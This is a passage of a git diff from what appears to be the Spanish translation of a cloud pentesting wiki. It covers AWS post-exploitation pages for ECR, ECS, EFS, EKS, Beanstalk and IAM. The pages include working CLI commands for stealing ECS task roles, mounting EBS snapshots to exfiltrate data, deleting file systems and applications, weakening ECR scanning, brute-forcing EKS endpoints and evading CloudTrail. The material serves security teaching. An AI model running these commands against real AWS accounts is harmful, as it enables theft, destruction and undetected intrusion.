+aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
+
+# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
+aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
+
+# 5) Restore to AWS_NATIVE when finished to avoid side effects
+aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
+```
+

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md

@@ -1,57 +0,0 @@
-# AWS - ECS Post Explotación
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-Para más información consulta:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### Roles IAM de Host
-
-En ECS, un **rol IAM puede ser asignado a la tarea** que se ejecuta dentro del contenedor. **Si** la tarea se ejecuta dentro de una **instancia EC2**, la **instancia EC2** tendrá **otro rol IAM** adjunto.\
-Lo que significa que si logras **comprometer** una instancia ECS, puedes potencialmente **obtener el rol IAM asociado al ECR y a la instancia EC2**. Para más información sobre cómo obtener esas credenciales consulta:
-
-{{#ref}}
-https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
-{{#endref}}
-
-> [!CAUTION]
-> Ten en cuenta que si la instancia EC2 está aplicando IMDSv2, [**según la documentación**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **respuesta de la solicitud PUT** tendrá un **límite de salto de 1**, lo que hace imposible acceder a los metadatos de EC2 desde un contenedor dentro de la instancia EC2.
-
-### Privesc a nodo para robar credenciales y secretos de otros contenedores
-
-Además, EC2 utiliza docker para ejecutar tareas de ECS, así que si puedes escapar al nodo o **acceder al socket de docker**, puedes **verificar** qué **otros contenedores** se están ejecutando, e incluso **entrar en ellos** y **robar sus roles IAM** adjuntos.
-
-#### Haciendo que los contenedores se ejecuten en el host actual
-
-Además, el **rol de la instancia EC2** generalmente tendrá suficientes **permisos** para **actualizar el estado de la instancia de contenedor** de las instancias EC2 que se utilizan como nodos dentro del clúster. Un atacante podría modificar el **estado de una instancia a DRAINING**, luego ECS **eliminará todas las tareas de ella** y las que se están ejecutando como **REPLICA** serán **ejecutadas en una instancia diferente,** potencialmente dentro de la **instancia del atacante** para que pueda **robar sus roles IAM** y potencial información sensible desde dentro del contenedor.
-```bash
-aws ecs update-container-instances-state \
---cluster <cluster> --status DRAINING --container-instances <container-instance-id>
-```
-La misma técnica se puede realizar **deregistrando la instancia EC2 del clúster**. Esto es potencialmente menos sigiloso, pero **forzará a que las tareas se ejecuten en otras instancias:**
-```bash
-aws ecs deregister-container-instance \
---cluster <cluster> --container-instance <container-instance-id> --force
-```
-Una técnica final para forzar la reejecución de tareas es indicando a ECS que el **tarea o contenedor fue detenido**. Hay 3 APIs potenciales para hacer esto:
-```bash
-# Needs: ecs:SubmitTaskStateChange
-aws ecs submit-task-state-change --cluster <value> \
---status STOPPED --reason "anything" --containers [...]
-
-# Needs: ecs:SubmitContainerStateChange
-aws ecs submit-container-state-change ...
-
-# Needs: ecs:SubmitAttachmentStateChanges
-aws ecs submit-attachment-state-changes ...
-```
-### Robar información sensible de contenedores ECR
-
-La instancia EC2 probablemente también tendrá el permiso `ecr:GetAuthorizationToken` que le permite **descargar imágenes** (podrías buscar información sensible en ellas).
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md

@@ -0,0 +1,126 @@
+# AWS - ECS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+Para más información consulta:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### Host IAM Roles
+
+En ECS se puede asignar una **IAM role a la task** que se ejecuta dentro del container. **Si** la task se ejecuta dentro de una **EC2** instance, la **EC2 instance** tendrá **otra IAM** role attached to it.\
+Lo que significa que si logras **comprometer** una instancia ECS puedes potencialmente **obtener la IAM role asociada al ECR y a la instancia EC2**. Para más información sobre cómo obtener esas credenciales, consulta:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
+{{#endref}}
+
+> [!CAUTION]
+> Ten en cuenta que si la instancia EC2 está forzando IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **response of the PUT request** tendrá un **hop limit of 1**, haciendo imposible acceder al EC2 metadata desde un container dentro de la instancia EC2.
+
+### Privesc to node to steal other containers creds & secrets
+
+Además, EC2 usa docker para ejecutar ECs tasks, por lo que si puedes escapar al nodo o **acceder al docker socket**, puedes **comprobar** qué **otros containers** se están ejecutando, e incluso **entrar en ellos** y **robar las IAM roles** que tengan adjuntas.
+
+#### Hacer que los containers se ejecuten en el host actual
+
+Además, la **EC2 instance role** normalmente tendrá suficientes **permissions** para **update the container instance state** de las instancias EC2 que se usan como nodos dentro del cluster. Un atacante podría modificar el **state of an instance to DRAINING**, entonces ECS **remove all the tasks from it** y las que se estén ejecutando como **REPLICA** serán **run in a different instance,** potencialmente dentro de la **attackers instance**, de modo que pueda **steal their IAM roles** y obtener información sensible desde dentro del container.
+```bash
+aws ecs update-container-instances-state \
+--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
+```
+La misma técnica se puede hacer **anulando el registro de la instancia EC2 del clúster**. Esto es potencialmente menos sigiloso, pero **forzará que las tareas se ejecuten en otras instancias:**
+```bash
+aws ecs deregister-container-instance \
+--cluster <cluster> --container-instance <container-instance-id> --force
+```
+Una técnica final para forzar la reejecución de tareas es indicar a ECS que la **tarea o el contenedor se detuvo**. Hay 3 APIs potenciales para hacer esto:
+```bash
+# Needs: ecs:SubmitTaskStateChange
+aws ecs submit-task-state-change --cluster <value> \
+--status STOPPED --reason "anything" --containers [...]
+
+# Needs: ecs:SubmitContainerStateChange
+aws ecs submit-container-state-change ...
+
+# Needs: ecs:SubmitAttachmentStateChanges
+aws ecs submit-attachment-state-changes ...
+```
+### Robar información sensible de contenedores ECR
+
+The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **descargar imágenes** (podrías buscar información sensible en ellas).
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+### Montar un snapshot de EBS directamente en una tarea ECS (configuredAtLaunch + volumeConfigurations)
+
+Abusa de la integración nativa ECS–EBS (2024+) para montar el contenido de un snapshot de EBS existente directamente dentro de una nueva tarea/servicio ECS y leer sus datos desde dentro del contenedor.
+
+- Necesita (mínimo):
+- ecs:RegisterTaskDefinition
+- Uno de: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
+- iam:PassRole on:
+- Rol de infraestructura de ECS usado para volúmenes (política: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
+- Task execution/Task roles referenced by the task definition
+- Si el snapshot está cifrado con una CMK: permisos KMS para el rol de infra (la política administrada de AWS arriba incluye los grants KMS requeridos para las claves gestionadas por AWS).
+
+- Impacto: Leer contenidos arbitrarios del disco desde el snapshot (p. ej., archivos de base de datos) dentro del contenedor y exfiltrarlos vía red/logs.
+
+Pasos (ejemplo Fargate):
+
+1) Crear el rol de infraestructura ECS (si no existe) y adjuntar la política administrada:
+```bash
+aws iam create-role --role-name ecsInfrastructureRole \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+aws iam attach-role-policy --role-name ecsInfrastructureRole \
+--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
+```
+2) Registrar una task definition con un volume marcado `configuredAtLaunch` y montarlo en el container. Ejemplo (imprime el secret y luego duerme):
+```json
+{
+"family": "ht-ebs-read",
+"networkMode": "awsvpc",
+"requiresCompatibilities": ["FARGATE"],
+"cpu": "256",
+"memory": "512",
+"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
+"containerDefinitions": [
+{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
+"entryPoint":["/bin/sh","-c"],
+"command":["cat /loot/secret.txt || true; sleep 3600"],
+"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
+"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
+}
+],
+"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
+}
+```
+3) Crear o actualizar un servicio pasando el snapshot de EBS mediante `volumeConfigurations.managedEBSVolume` (requiere iam:PassRole en el rol de infraestructura). Ejemplo:
+```json
+{
+"cluster": "ht-ecs-ebs",
+"serviceName": "ht-ebs-svc",
+"taskDefinition": "ht-ebs-read",
+"desiredCount": 1,
+"launchType": "FARGATE",
+"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
+"volumeConfigurations": [
+{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
+]
+}
+```
+4) Cuando la tarea se inicia, el contenedor puede leer el contenido del snapshot en la ruta de montaje configurada (p. ej., `/loot`). Exfiltrate a través de la red/los registros de la tarea.
+
+Cleanup:
+```bash
+aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
+aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
+aws ecs deregister-task-definition ht-ebs-read
+```
+

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md

@@ -1,46 +0,0 @@
-# AWS - EFS Post Explotación
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-Para más información, consulta:
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-### `elasticfilesystem:DeleteMountTarget`
-
-Un atacante podría eliminar un objetivo de montaje, lo que podría interrumpir el acceso al sistema de archivos EFS para aplicaciones y usuarios que dependen de ese objetivo de montaje.
-```sql
-aws efs delete-mount-target --mount-target-id <value>
-```
-**Impacto Potencial**: Disrupción del acceso al sistema de archivos y posible pérdida de datos para usuarios o aplicaciones.
-
-### `elasticfilesystem:DeleteFileSystem`
-
-Un atacante podría eliminar un sistema de archivos EFS completo, lo que podría llevar a la pérdida de datos e impactar a las aplicaciones que dependen del sistema de archivos.
-```perl
-aws efs delete-file-system --file-system-id <value>
-```
-**Impacto Potencial**: Pérdida de datos y interrupción del servicio para aplicaciones que utilizan el sistema de archivos eliminado.
-
-### `elasticfilesystem:UpdateFileSystem`
-
-Un atacante podría actualizar las propiedades del sistema de archivos EFS, como el modo de rendimiento, para afectar su rendimiento o causar agotamiento de recursos.
-```sql
-aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
-```
-**Impacto Potencial**: Degradación del rendimiento del sistema de archivos o agotamiento de recursos.
-
-### `elasticfilesystem:CreateAccessPoint` y `elasticfilesystem:DeleteAccessPoint`
-
-Un atacante podría crear o eliminar puntos de acceso, alterando el control de acceso y potencialmente otorgándose acceso no autorizado al sistema de archivos.
-```arduino
-aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
-aws efs delete-access-point --access-point-id <value>
-```
-**Impacto Potencial**: Acceso no autorizado al sistema de archivos, exposición o modificación de datos.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md

@@ -0,0 +1,46 @@
+# AWS - EFS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+Para más información, consulta:
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+### `elasticfilesystem:DeleteMountTarget`
+
+Un atacante podría eliminar un mount target, potencialmente interrumpiendo el acceso al sistema de archivos EFS para las aplicaciones y usuarios que dependan de ese mount target.
+```sql
+aws efs delete-mount-target --mount-target-id <value>
+```
+**Impacto potencial**: Interrupción del acceso al sistema de archivos y posible pérdida de datos para usuarios o aplicaciones.
+
+### `elasticfilesystem:DeleteFileSystem`
+
+Un atacante podría eliminar por completo un sistema de archivos EFS, lo que podría provocar pérdida de datos e impactar a las aplicaciones que dependan del sistema de archivos.
+```perl
+aws efs delete-file-system --file-system-id <value>
+```
+**Impacto potencial**: Pérdida de datos e interrupción del servicio para las aplicaciones que usan el sistema de archivos eliminado.
+
+### `elasticfilesystem:UpdateFileSystem`
+
+Un atacante podría actualizar las propiedades del sistema de archivos EFS, como throughput mode, para afectar su rendimiento o provocar agotamiento de recursos.
+```sql
+aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
+```
+**Potential Impact**: Degradación del rendimiento del sistema de archivos o agotamiento de recursos.
+
+### `elasticfilesystem:CreateAccessPoint` and `elasticfilesystem:DeleteAccessPoint`
+
+Un atacante podría crear o eliminar access points, alterar el control de acceso y potencialmente concederse acceso no autorizado al sistema de archivos.
+```arduino
+aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
+aws efs delete-access-point --access-point-id <value>
+```
+**Potential Impact**: Acceso no autorizado al sistema de archivos, exposición o modificación de datos.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md

@@ -1,13 +1,13 @@
 # AWS - EKS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## EKS
 
-Para más información, consulta
+Para más información consulta
 
 {{#ref}}
-../aws-services/aws-eks-enum.md
+../../aws-services/aws-eks-enum.md
 {{#endref}}
 
 ### Enumerar el clúster desde la consola de AWS
@@ -21,11 +21,11 @@ Si tienes el permiso **`eks:AccessKubernetesApi`** puedes **ver objetos de Kuber
 # Generate kubeconfig
 aws eks update-kubeconfig --name aws-eks-dev
 ```
-- No es tan fácil:
+- No tan fácil:
 
-Si puedes **obtener un token** con **`aws eks get-token --name <cluster_name>`** pero no tienes permisos para obtener información del clúster (describeCluster), podrías **preparar tu propio `~/.kube/config`**. Sin embargo, teniendo el token, aún necesitas la **url del endpoint para conectarte** (si lograste obtener un token JWT de un pod lee [aquí](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) y el **nombre del clúster**.
+Si puedes **get a token** con **`aws eks get-token --name <cluster_name>`** pero no tienes permisos para obtener información del cluster (describeCluster), podrías **preparar tu propio `~/.kube/config`**. Sin embargo, teniendo el token, todavía necesitas el **url endpoint to connect to** (si lograste obtener un JWT token desde un pod lee [aquí](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) y el **nombre del cluster**.
 
-En mi caso, no encontré la información en los logs de CloudWatch, pero **la encontré en LaunchTemplates userData** y en **máquinas EC2 en userData también**. Puedes ver esta información en **userData** fácilmente, por ejemplo en el siguiente ejemplo (el nombre del clúster era cluster-name):
+En mi caso, no encontré la información en los logs de CloudWatch, pero **la encontré en LaunchTemaplates userData** y también en **las máquinas EC2 en userData**. Puedes ver esta información en **userData** fácilmente, por ejemplo en el siguiente ejemplo (el nombre del cluster era cluster-name):
 ```bash
 API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
 
@@ -70,35 +70,35 @@ provideClusterInfo: false
 ```
 </details>
 
-### De AWS a Kubernetes
+### From AWS to Kubernetes
 
-El **creador** del **clúster EKS** **SIEMPRE** podrá acceder a la parte del clúster de kubernetes del grupo **`system:masters`** (admin de k8s). En el momento de escribir esto, **no hay una forma directa** de encontrar **quién creó** el clúster (puedes verificar CloudTrail). Y **no hay forma** de **eliminar** ese **privilegio**.
+El **creador** del **EKS cluster** va a poder **SIEMPRE** acceder a la parte de kubernetes del grupo **`system:masters`** (admin k8s). Al momento de escribir esto no hay **manera directa** de saber **quién creó** el cluster (puedes revisar CloudTrail). Y no hay **forma** de **eliminar** ese **privilegio**.
 
-La forma de otorgar **acceso a más usuarios o roles de AWS IAM sobre K8s** es utilizando el **configmap** **`aws-auth`**.
+La forma de conceder **acceso sobre K8s a más AWS IAM usuarios o roles** es usando el **configmap** **`aws-auth`**.
 
 > [!WARNING]
-> Por lo tanto, cualquier persona con **acceso de escritura** sobre el config map **`aws-auth`** podrá **comprometer todo el clúster**.
+> Por lo tanto, cualquiera con **acceso de escritura** sobre el config map **`aws-auth`** podrá **comprometer todo el cluster**.
 
-Para más información sobre cómo **otorgar privilegios adicionales a roles y usuarios de IAM** en la **misma o diferente cuenta** y cómo **abusar** de esto, [**verifica esta página**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
+Para más información sobre cómo **conceder privilegios extra a IAM roles & users** en la **misma o diferente cuenta** y cómo **abusar** de esto para [**privesc revisa esta página**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
 
-Consulta también [**esta increíble**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **publicación para aprender cómo funciona la autenticación IAM -> Kubernetes**.
+Check also[ **este excelente post**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **para aprender cómo funciona la autenticación IAM -> Kubernetes**.
 
-### De Kubernetes a AWS
+### From Kubernetes to AWS
 
-Es posible permitir una **autenticación OpenID para la cuenta de servicio de kubernetes** para permitirles asumir roles en AWS. Aprende cómo [**esto funciona en esta página**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
+Es posible permitir una **autenticación OpenID para kubernetes service account** para permitirles asumir roles en AWS. Aprende cómo [**esto funciona en esta página**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
 
-### OBTENER el Endpoint del Api Server desde un Token JWT
+### GET Api Server Endpoint from a JWT Token
 
-Decodificando el token JWT obtenemos el id del clúster y también la región. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Sabiendo que el formato estándar para la URL de EKS es
+Al decodificar el token JWT obtenemos el cluster id y también la región. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Sabiendo que el formato estándar para la url de EKS es
 ```bash
 https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
 ```
-No encontré ninguna documentación que explique los criterios para los 'dos caracteres' y el 'número'. Pero haciendo algunas pruebas por mi cuenta, veo que se repiten estos:
+No encontré ninguna documentación que explique los criterios para los 'dos caracteres' y el 'número'. Pero haciendo algunas pruebas por mi parte veo que se repiten estos:
 
 - gr7
 - yl4
 
-De todos modos, son solo 3 caracteres que podemos forzar. Usa el siguiente script para generar la lista.
+De todas formas son solo 3 caracteres; podemos bruteforcearlos. Usa el siguiente script para generar la lista
 ```python
 from itertools import product
 from string import ascii_lowercase
@@ -123,21 +123,21 @@ wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws
 
 ### Bypass CloudTrail
 
-Si un atacante obtiene credenciales de un AWS con **permiso sobre un EKS**. Si el atacante configura su propio **`kubeconfig`** (sin llamar a **`update-kubeconfig`**) como se explicó anteriormente, el **`get-token`** no genera registros en Cloudtrail porque no interactúa con la API de AWS (solo crea el token localmente).
+Si un attacker obtiene credenciales de un AWS con **permiso sobre un EKS**. Si el attacker configura su propio **`kubeconfig`** (sin ejecutar **`update-kubeconfig`**) como se explicó anteriormente, el **`get-token`** no genera logs en Cloudtrail porque no interactúa con la AWS API (solo crea el token localmente).
 
-Así que cuando el atacante se comunica con el clúster EKS, **cloudtrail no registrará nada relacionado con el usuario que fue robado y accediendo a él**.
+Así que cuando el attacker se comunica con el EKS cluster, **cloudtrail no registrará nada relacionado con el user robado y su acceso**.
 
-Ten en cuenta que el **clúster EKS podría tener registros habilitados** que registrarán este acceso (aunque, por defecto, están deshabilitados).
+Ten en cuenta que el **EKS cluster podría tener logs habilitados** que registrarán este acceso (aunque, por defecto, están deshabilitados).
 
-### EKS Ransom?
+### ¿Rescate en EKS?
 
-Por defecto, el **usuario o rol que creó** un clúster **SIEMPRE tendrá privilegios de administrador** sobre el clúster. Y ese es el único acceso "seguro" que AWS tendrá sobre el clúster de Kubernetes.
+Por defecto, el **user o role que creó** un cluster va a tener SIEMPRE **admin privileges** sobre el cluster. Y ese es el único acceso "seguro" que AWS tendrá sobre el Kubernetes cluster.
 
-Así que, si un **atacante compromete un clúster usando fargate** y **elimina a todos los otros administradores** y **elimina el usuario/rol de AWS que creó** el clúster, ~~el atacante podría haber **secuestrado el clúster**~~.
+Entonces, si un **attacker compromete un cluster usando fargate** y **elimina a todos los otros admins** y elimina el AWS user/role que creó el Cluster, ~~el attacker podría haber exigido un rescate al cluster~~.
 
 > [!TIP]
-> Ten en cuenta que si el clúster estaba usando **EC2 VMs**, podría ser posible obtener privilegios de administrador desde el **Node** y recuperar el clúster.
+> Ten en cuenta que si el cluster estaba usando **EC2 VMs**, podría ser posible obtener Admin privileges desde el **Node** y recuperar el cluster.
 >
-> De hecho, si el clúster está usando Fargate, podrías EC2 nodes o mover todo a EC2 al clúster y recuperarlo accediendo a los tokens en el nodo.
+> De hecho, si el cluster está usando Fargate podrías añadir EC2 nodes o mover todo a EC2 en el cluster y recuperarlo accediendo a los tokens en el node.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md

@@ -1,13 +1,13 @@
-# AWS - Elastic Beanstalk Post Explotación
+# AWS - Elastic Beanstalk Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Elastic Beanstalk
 
 Para más información:
 
 {{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
+../../aws-services/aws-elastic-beanstalk-enum.md
 {{#endref}}
 
 ### `elasticbeanstalk:DeleteApplicationVersion`
@@ -15,56 +15,56 @@ Para más información:
 > [!NOTE]
 > TODO: Probar si se requieren más permisos para esto
 
-Un atacante con el permiso `elasticbeanstalk:DeleteApplicationVersion` puede **eliminar una versión de aplicación existente**. Esta acción podría interrumpir las canalizaciones de implementación de aplicaciones o causar la pérdida de versiones específicas de la aplicación si no se respaldan.
+Un attacker con el permiso `elasticbeanstalk:DeleteApplicationVersion` puede **eliminar una versión de aplicación existente**. Esta acción podría interrumpir pipelines de despliegue de la aplicación o causar la pérdida de versiones específicas de la aplicación si no están respaldadas.
 ```bash
 aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
 ```
-**Impacto Potencial**: Disrupción del despliegue de la aplicación y posible pérdida de versiones de la aplicación.
+**Impacto potencial**: Interrupción del despliegue de la aplicación y posible pérdida de versiones de la aplicación.
 
 ### `elasticbeanstalk:TerminateEnvironment`
 
 > [!NOTE]
-> TODO: Probar si se requieren más permisos para esto
+> TODO: Comprobar si se requieren permisos adicionales para esto
 
-Un atacante con el permiso `elasticbeanstalk:TerminateEnvironment` puede **terminar un entorno de Elastic Beanstalk existente**, causando tiempo de inactividad para la aplicación y posible pérdida de datos si el entorno no está configurado para copias de seguridad.
+Un atacante con el permiso `elasticbeanstalk:TerminateEnvironment` puede **terminar un entorno existente de Elastic Beanstalk**, causando tiempo de inactividad para la aplicación y posible pérdida de datos si el entorno no está configurado para copias de seguridad.
 ```bash
 aws elasticbeanstalk terminate-environment --environment-name my-existing-env
 ```
-**Impacto Potencial**: Tiempo de inactividad de la aplicación, posible pérdida de datos y interrupción de servicios.
+**Impacto potencial**: Tiempo de inactividad de la aplicación, posible pérdida de datos y interrupción de servicios.
 
 ### `elasticbeanstalk:DeleteApplication`
 
 > [!NOTE]
 > TODO: Probar si se requieren más permisos para esto
 
-Un atacante con el permiso `elasticbeanstalk:DeleteApplication` puede **eliminar una aplicación completa de Elastic Beanstalk**, incluyendo todas sus versiones y entornos. Esta acción podría causar una pérdida significativa de recursos y configuraciones de la aplicación si no se realiza una copia de seguridad.
+Un atacante con el permiso `elasticbeanstalk:DeleteApplication` puede **eliminar por completo una aplicación de Elastic Beanstalk**, incluyendo todas sus versiones y entornos. Esta acción podría provocar una pérdida significativa de recursos y configuraciones de la aplicación si no se han hecho copias de seguridad.
 ```bash
 aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
 ```
-**Impacto Potencial**: Pérdida de recursos de la aplicación, configuraciones, entornos y versiones de la aplicación, lo que lleva a la interrupción del servicio y posible pérdida de datos.
+**Impacto potencial**: Pérdida de recursos de la aplicación, configuraciones, entornos y versiones de la aplicación, lo que puede provocar interrupciones del servicio y posible pérdida de datos.
 
 ### `elasticbeanstalk:SwapEnvironmentCNAMEs`
 
 > [!NOTE]
 > TODO: Probar si se requieren más permisos para esto
 
-Un atacante con el permiso `elasticbeanstalk:SwapEnvironmentCNAMEs` puede **intercambiar los registros CNAME de dos entornos de Elastic Beanstalk**, lo que podría causar que se sirva la versión incorrecta de la aplicación a los usuarios o llevar a un comportamiento no intencionado.
+Un atacante con el permiso `elasticbeanstalk:SwapEnvironmentCNAMEs` puede **intercambiar los registros CNAME de dos entornos de Elastic Beanstalk**, lo que podría hacer que se sirviera a los usuarios la versión incorrecta de la aplicación o provocar un comportamiento no deseado.
 ```bash
 aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
 ```
-**Impacto Potencial**: Servir la versión incorrecta de la aplicación a los usuarios o causar un comportamiento no intencionado en la aplicación debido a entornos intercambiados.
+**Potential Impact**: Servir la versión incorrecta de la aplicación a los usuarios o causar un comportamiento no intencionado en la aplicación debido al intercambio de entornos.
 
 ### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
 
 > [!NOTE]
-> TODO: Probar si se requieren más permisos para esto
+> TODO: Comprobar si se requieren más permisos para esto
 
-Un atacante con los permisos `elasticbeanstalk:AddTags` y `elasticbeanstalk:RemoveTags` puede **agregar o eliminar etiquetas en los recursos de Elastic Beanstalk**. Esta acción podría llevar a una asignación incorrecta de recursos, facturación o gestión de recursos.
+Un atacante con los permisos `elasticbeanstalk:AddTags` y `elasticbeanstalk:RemoveTags` puede **añadir o eliminar tags en los recursos de Elastic Beanstalk**. Esta acción podría llevar a una asignación incorrecta de recursos, facturación errónea o problemas en la gestión de recursos.
 ```bash
 aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
 
 aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
 ```
-**Impacto Potencial**: Asignación incorrecta de recursos, facturación o gestión de recursos debido a etiquetas añadidas o eliminadas.
+**Impacto potencial**: Asignación incorrecta de recursos, facturación o gestión de recursos debido a etiquetas añadidas o eliminadas.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md

@@ -1,26 +1,26 @@
 # AWS - IAM Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## IAM
 
 Para más información sobre el acceso IAM:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
-## Problema del Confused Deputy
+## Confused Deputy Problem
 
-Si **permites a una cuenta externa (A)** acceder a un **role** en tu cuenta, probablemente tendrás **0 visibilidad** sobre **quién exactamente puede acceder a esa cuenta externa**. Esto es un problema, porque si otra cuenta externa (B) puede acceder a la cuenta externa (A) es posible que **B también pueda acceder a tu cuenta**.
+Si **permites que una cuenta externa (A)** acceda a un **role** en tu cuenta, probablemente tendrás **0 visibilidad** sobre **quién exactamente puede acceder a esa cuenta externa**. Esto es un problema, porque si otra cuenta externa (B) puede acceder a la cuenta externa (A), es posible que **B también pueda acceder a tu cuenta**.
 
-Por lo tanto, al permitir que una cuenta externa acceda a un role en tu cuenta es posible especificar un `ExternalId`. Esta es una cadena "secreta" que la cuenta externa (A) **necesita especificar** para **assume the role in your organization**. Como la **cuenta externa B no conocerá esta cadena**, incluso si tiene acceso sobre A **no podrá acceder a tu role**.
+Por lo tanto, al permitir que una cuenta externa acceda a un role en tu cuenta es posible especificar un `ExternalId`. Esta es una cadena "secreta" que la cuenta externa (A) **debe especificar** para **asumir el role en tu organización**. Como la **cuenta externa B no conocerá esta cadena**, incluso si tiene acceso a A **no podrá acceder a tu role**.
 
 <figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
 
-Sin embargo, ten en cuenta que este `ExternalId` "secreto" **no es un secreto**, cualquiera que pueda **leer la IAM assume role policy podrá verlo**. Pero mientras la cuenta externa A lo conozca, y la cuenta externa **B no lo conozca**, esto **evita que B abuse de A para acceder a tu role**.
+Sin embargo, ten en cuenta que este `ExternalId` "secreto" **no es un secreto**, cualquiera que pueda **leer la IAM assume role policy podrá verlo**. Pero mientras la cuenta externa A lo conozca y la cuenta externa **B no lo conozca**, esto **impide que B abuse de A para acceder a tu role**.
 
-Example:
+Ejemplo:
 ```json
 {
 "Version": "2012-10-17",
@@ -39,11 +39,11 @@ Example:
 }
 ```
 > [!WARNING]
